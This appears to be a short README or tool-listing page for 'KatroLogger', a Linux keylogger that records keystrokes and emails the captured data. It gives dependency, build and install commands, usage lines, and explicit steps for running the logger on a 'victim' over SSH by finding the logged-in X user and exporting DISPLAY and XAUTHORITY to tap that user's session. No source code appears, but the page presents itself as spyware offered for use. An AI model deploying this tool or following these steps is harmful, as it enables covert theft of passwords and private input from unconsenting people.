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KatroLogger : KeyLogger for Linux Systems

KatroLogger is a tool used for KeyLogger for Linux Systems.

Features

  • Runs on GUI systems or CLI
  • Sending data by email

Dependencies

  • curl
  • libx11-dev (Debian-Based)
  • libX11-devel (RHEL-Based)

Compiling

./configure
make
make install

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Usage

katrologger –output /path/file

Send data by e-mail:

katrologger –smtp-help

  • Fixing problems accessing via SSH

when connecting to the victim remotely via ssh it will be necessary to export environment variables to run the keylogger.

  • For hosts with xorg running:

identifying logged in user

user=$(who | grep “(:0)” | awk ‘{print $1}’)
echo $user

Exporting Variables

export DISPLAY=:0.0
export XAUTHORITY=/home/$user/.Xauthority

Uninstall

make uninstall